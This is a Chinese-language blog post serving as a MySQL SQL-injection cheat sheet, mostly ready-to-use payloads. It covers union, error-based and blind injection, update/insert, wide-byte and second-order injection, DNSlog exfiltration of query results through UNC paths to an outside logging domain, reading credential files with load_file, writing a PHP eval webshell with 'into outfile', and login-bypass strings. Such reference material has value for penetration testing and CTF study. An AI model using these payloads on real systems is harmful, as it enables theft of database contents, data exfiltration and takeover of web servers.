N0rth3ty's Blog.

Sql注入手册

字数统计: 3.5k阅读时长: 14 min
2019/03/02 Share

一直没有系统的总结sql注入
抽空写一个sql注入的笔记,也当作平时注入的手册
Mysql作为最常见的数据库,主要写Mysql,其它数据库主要写存在差异的地方
长期更新

常见数据库搭配

  • ASP + ACCESS + IIS
  • ASP.NET + MSSQL +IIS
  • PHP + Mysql + Apache(Nginx)
  • JSP + Oracle(Mysql) + Tomcat

目前来讲就遇到过这些常见组合,快速判断数据库类型是注入的第一步

Mysql

基础

数据库名

  • database()
  • schema()

    当前登陆用户

  • USER()
  • CURRENT_USER()
  • SYSTEM_USER()
  • SESSION_USER()

    数据库版本

  • VERSION()
  • @@VERSION
  • @@GLOBAL.VERSION

    路径相关

  • @@BASEDIR : mysql安装路径
  • @@SLAVE_LOAD_TMPDIR : 临时文件夹路径
  • @@DATADIR : 数据存储路径
  • @@CHARACTER_SETS_DIR : 字符集设置文件路径
  • @@LOG_ERROR : 错误日志文件路径
  • @@PID_FILE : pid-file文件路径
  • @@BASEDIR : mysql安装路径
  • @@SLAVE_LOAD_TMPDIR : 临时文件夹路径

字符串连接

  • concat(str1,str2) //将字符串首尾相连

  • concat_ws(separator,str1,str2) //将字符串用指定连接符连接

  • group_concat()//

字符截断

  • left(str,index) //从左边第index开始截取

  • right(str,index) //从右边第index开始截取

  • substring(str,index) //从左边index开始截取

  • substr(str,index,len) //截取str,index开始,截取len的长度

  • mid(str,index,ken) //截取str 从index开始,截取len的长度

字符串比较函数

  • strcmp(expr1,expr2)//如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1

  • find_in_set(str,strlist) //如果相同则返回1不同则返回0

注释

  • --(后面还有个空格)
  • # 单行注释符,url编码为%23
  • /*…*/
  • /! 语句 / 语句会被执行 可用做分割

    运算符

    比较运算符
  • =
  • >
  • <
  • !=
  • <> 不等于的意思
  • like (模糊匹配 select '12345' like '12%' => true)
  • in(select '123' in ('12') => false
  • between (select database() between 0x61 and 0x7a;//select database() between 'a' and 'z';)
  • regexp / rlike(正则匹配select '123455' regexp '^12' => true)

算术运算符

  • +
  • -
  • *
  • /

逻辑运算符

  • not / !
  • and / &&
  • or / ||
  • xor / ^

位运算符

  • & 按位与
  • | 按位或
  • ^ 按位异或
  • ! 取反
  • << 左移
  • >>右移

绕过函数

  • instr(str1,substr) //从子字符串中返回子串第一次出现的位置

  • lpad(str,len,padstr) rpad(str,len,padstr) // 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果

延时函数

  • sleep()
  • benchmark(1000000,sha(1))

编码函数

  • hex()
  • ascii()

文件函数

  • load_file() //读文件路径可以用0x,char转换的字符
  • outfile select * into outfile '/tmp/test.txt'
  • dumpfile //用法同上但是只能写入一行数据,常用于udf提权写dll

构造语句

条件语句

  • if(expr1,expr2,expr3) // expr1 true执行expr2否则执行expr3
  • select case when (条件) then 代码1 else 代码 2 end

information_schema 结构

  • information_schema.tables:
    查询表名:table_name 对应的数据库名: table_schema
  • information_schema.columns:
    查询列名:column_name 对应的表名:table_schemam

Mysql注入语句一般形式

  • 联合 构造联合语句 + 查询结果
  • 盲注 查询结果 + 比较运算符 + 猜测值
  • 报错 构造报错语句 + 查询结果

Mysql空白字符

1
2
3
%20 %09 %0a %0b %0c %0d %a0 /**/ tab
%a0 这个不会被php的\s进行匹配
/*!*/ 内敛注释 #这个也可以用来做分隔

函数名和括号直接可以插入特殊字符 ex

1
2
3
4
5
concat/**/()

information_schema/**/./**/TABLES

information_schema%0a.%0aTABLES

判断注入是否存在

数值型注入

1
2
3
4
5
?id=1+1
?id=-1 or 1=1
?id=-1 or 10-2=8
?id=1 and 1=2
?id=1 and 1=1

字符型注入
参数被引号包围,所以需要闭合引号

1
2
3
4
?id=1'
?id=1"
?id=1' and '1'='1
?id=1" and "1"="1

闭合后构造语句再注释后面

四大基本注入类型

UNION注入

最简单的注入

用UNION SELECT注入时,若后面要注出的数据的列与原数据列数不同,则会失败。所以需要先猜解列数。

ORDER BY

1
2
3
ORDER BY 10 #
ORDER BY 5 #
ORDER BY 2 #

当ORDER BY的数字大于列数时会返回异常,反复测试,定位出正确的列数

UNION SELECT

1
2
3
UNION SELECT 1,2,3 #
UNION ALL SELECT 1,2,3 #
UNION ALL SELECT null,null,null #

数据库查询

1
2
3
SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA
SELECT DATABASE()
SELECT schema()

表查询

1
2
SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()
SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0xffffff

字段查询

1
SELECT GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0xffffff

数据获取

1
2
3
SELECT GROUP_CONCAT(column_1,column_2) FROM databasename.tablename
SELECT GROUP_CONCAT(column_1,column_2) FROM tablename
SELECT * FROM tablename

报错注入

常见报错payload

  • floor()

    1
    and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • updatexml() //5.1.5

    1
    and 1=(updatexml(1,concat(0x3a,(select user())),1))
  • extractvalue() //5.1.5

    1
    and extractvalue(1,concat(0x5c,(select user())))
  • exp() //5.5.5版本之后可以使用

    1
    select host from user where user = 'root' and Exp(~(select * from (select version())a));
  • name_const //支持老版本

    1
    select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
  • geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() 几何函数报错

    1
    select multipoint((select * from (select * from (select * from (select version())a)b)c));

布尔盲注

常用payload

1
' OR (SELECT ASCII(SUBSTR(DATABASE(),i,1) ) < j) #

时间盲注

常用payload

1
2
UNION SELECT IF(SUBSTR((SELECT GROUP_CONCAT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j,BENCHMARK(100000,SHA1(1)),0)
UNION SELECT IF(SUBSTR((SELECT GROUP_CONCAT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j,SLEEP(10),0)

本质是if做判断然后是否执行sleep,再有回显的bool盲注中则不写延时语句,用0或者1代替

即查询结果有没有输出到页面是两者的本质区别,没有输出时才是时间盲注

除开最常见的sleep延时,还有以下姿势

1
select benchmark(10000000,sha(1));

比赛姿势

  • 笛卡尔积
    1
    2
    3
    4
    5
    6
    7
    mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
    +------------+
    | count(*) |
    +------------+
    | 2651020120 |
    +------------+
    1 row in set (1 min 51.05 sec)

这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。

  • GET_LOCK

是pwnhub的一道题目
利用场景是有条件限制的:需要提供长连接。在Apache+PHP搭建的环境中需要使用 mysql_pconnect函数来连接数据库。
太少用到不赘述了
https://zhuanlan.zhihu.com/p/35245598

  • RLIKE

通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

1
2
3
4
5
6
7
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)

Mysql注入杂技

insert/update/delete注入

这三类语句中可以报错注出数据,但我要写的是如何没有报错的情况下注出数据
本质是在闭合语句后通过子查询进行注入,通常为盲注

update

一段我在实战中遇到的代码

1
2
3
4
5
6
7
8
$result=mysql_query("update ly set content='$content',hf_content='$hf_content',modi_date='$modi_date' where ly_id='$ly_id' ");
if(mysql_affected_rows())
{
echo "{\"success\":true,\"msg\":\"回复成功!\"}";
}else{

echo "{\"success\":false,\"msg\":\"回复失败!\"}";
}

set 和 where 处都可以注入
建议在where处进行注入

payload

1
1' and sleep(1) %23

但是有不少的坑点,因为是根据mysql_affected_rows()判断来进行回显的,所以在update相同的值是并不会affected rows的,但是语句是可以执行的

但是字符型又有另一个坑点
字符型在与数字进行与逻辑运算时会当被做0来处理,所以无法执行and后的sleep。
所以我们只能用 or,||,xor,^

但是或逻辑运算中同样存在问题

(但是具体好像还和mysql版本有关,因为看别人blog字符+or也执行成功了,但是先先不填坑了)
测试只有字符为0时才会执行or后的sleep

应该是和逻辑运算的方式有关,或运算会先检验前面是否为真,只有当前面为字符0时才为假,这是和与运算的不同之处

异或的坑点和或相似
当字符不为数字时不会执行,具体深层原因先留坑吧

这里还有坑…

or活着xor都可能导致多次sleep,因为每次检索都会or一次
实战中要尽量避免这个问题,能布尔盲注的时候就不要用sleep了
要避免这个问题就要用与逻辑且前面为真,放到where就是前面必须where一个存在的值

测试mysql版本5.3.72

insert/delete
1
insert into users values (1,'{injecthere}','password');

类似update,不赘述了

Order by注入

本质仍然是盲注,根据order by 0 或者 1 返回不同的排序进行注入
ctf中的进阶形式为order by 一个特定字段
比如hctf中的一道题目

宽字节注入

原理

1
2
3
4
5
...
mysql_query("SET NAMES 'gbk'");
....
$name = isset($_GET['name']) ? addslashes($_GET['name']) : 1;
$sql = "SELECT * FROM test WHERE names='{$name}'";

即服务器使用了款字节编码,addslashes会将单引号转义,变为\‘,而宽子节会把两个字符编码为一个汉字,所以如果拼接%df,那%df%5c就会被编码为運字,从而逃逸出转义。

具体拼接什么要根据数据库使用的编码来决定,可以去查编码表。

常见payload

1
id=1%df' #

Mysql约束攻击

原理
主要两个点

  • mysql的select查询进行字符串比较的时候,不同长度的字符串,会用空格填充到相同字符在比较。

  • mysql插入数据的时候,当数据超过定义的长度会出现截断象限

利用方式即注册一’admin        a’用户(中间空格超长截断),达到超长截断的目的,往数据库中写入一个’admin      ’用户,而在select的过程中’admin ‘是与’admin’相等的

所以就可以用’admin ‘的密码登陆’admin’

二次注入

所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。

二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。

二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

这个。。只能具体情况分析了,不太好写

比如sql lab-24

Mysql带外注入

带外通道攻击主要是利用其他协议或者渠道从服务器提取数据
它可能是HTTP(S)请求,DNS解析服务,SMB服务,Mail服务等

DNSlog

只能用于windows环境

select拼接一个UNC路径导致请求发起
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式

\\sss.xxx\test\

常见payload

1
select load_file('\\\\',select hex(version()),'.dnslog地址')

这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个\就变成了2个\,目的就是利用UNC路径

可以直接直接用ceye.io这个平台,这个平台就集成了Dnslog的功能

利用方法

首先查看变量确定权限
show variables like ‘%secure%’

  • 当secure_file_priv为空,就可以读取磁盘的目录。
  • 当secure_file_priv为G:\,就可以读取G盘的文件。
  • 当secure_file_priv为null,load_file就不能加载文件。

在mysql 5.5.34版本默认为空可以加载文件 但是之后版本为NULL会禁用函数但是
可以通过mysql的配置文件my.ini添加行进行配置

最好进行加密处理,防止特殊字符导致传输失败
payload

1
select load_file(concat(0x5c5c5c5c,select hex(version()),0x2E66326362386131382E646E736C6F672E6C696E6B2F2F616263));

文件读写

查询用户读写权限

1
SELECT file_priv FROM mysql.user WHERE user = 'username';

  • load_file()

需要有读取文件的权限
需要知道文件的绝对物理路径
要读取的文件大小必须小于 max_allowed_packet

一般没啥问题

1
SELECT @@max_allowed_packet;

一般用load_file来看config.php(即mysql的密码),apache配置、servu密码等。前提是要知道物理路径。

常见paylaod

1
2
3
UNION SELECT LOAD_FILE("C://TEST.txt") #
UNION SELECT LOAD_FILE("C:/TEST.txt") #
UNION SELECT LOAD_FILE("C:\\TEST.txt") #

后面的路径可以是单引号、0x、char转换的字符
路径中的斜杠是/而不是\

使用编码

1
2
UNION SELECT LOAD_FILE(CHAR(67,58,92,92,84,69,83,84,46,116,120,116)) #
UNION SELECT LOAD_FILE(0x433a5c5c544553542e747874) #

  • out_file()

outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径
经典一句话payload

1
select '<?php eval($_POST[cmd])?>' into outfile 'C:/www/shell.php'

当然也可以从表中选数据写

万能密码

1
2
3
4
5
6
7
8
9
admin’ —
admin’ #
admin’/*
or ‘=’ or
‘ or 1=1—
‘ or 1=1#
‘ or 1=1/*
‘) or ‘1’=’1—
‘) or (‘1’=’1—

bypass

Sqlmap


refer
https://xz.aliyun.com/t/3992#toc-6
https://chybeta.github.io/2017/07/21/MySql%E6%B3%A8%E5%85%A5%E5%A4%87%E5%BF%98%E5%BD%95/
https://xz.aliyun.com/t/253
https://www.anquanke.com/post/id/85230
https://www.freebuf.com/articles/web/167089.html
https://www.anquanke.com/post/id/98096

CATALOG
  1. 1. 常见数据库搭配
  2. 2. Mysql
    1. 2.1. 基础
      1. 2.1.1. 数据库名
      2. 2.1.2. 当前登陆用户
      3. 2.1.3. 数据库版本
      4. 2.1.4. 路径相关
      5. 2.1.5. 字符串连接
      6. 2.1.6. 字符截断
      7. 2.1.7. 字符串比较函数
      8. 2.1.8. 注释
      9. 2.1.9. 运算符
      10. 2.1.10. 绕过函数
      11. 2.1.11. 延时函数
      12. 2.1.12. 编码函数
      13. 2.1.13. 文件函数
    2. 2.2. 构造语句
      1. 2.2.1. 条件语句
      2. 2.2.2. information_schema 结构
      3. 2.2.3. Mysql注入语句一般形式
      4. 2.2.4. Mysql空白字符
    3. 2.3. 判断注入是否存在
    4. 2.4. 四大基本注入类型
      1. 2.4.1. UNION注入
      2. 2.4.2. 报错注入
      3. 2.4.3. 布尔盲注
      4. 2.4.4. 时间盲注
    5. 2.5. Mysql注入杂技
      1. 2.5.1. insert/update/delete注入
        1. 2.5.1.1. update
        2. 2.5.1.2. insert/delete
      2. 2.5.2. Order by注入
      3. 2.5.3. 宽字节注入
      4. 2.5.4. Mysql约束攻击
      5. 2.5.5. 二次注入
      6. 2.5.6. Mysql带外注入
        1. 2.5.6.1. DNSlog
      7. 2.5.7. 文件读写
      8. 2.5.8. 万能密码
    6. 2.6. bypass
  3. 3. Sqlmap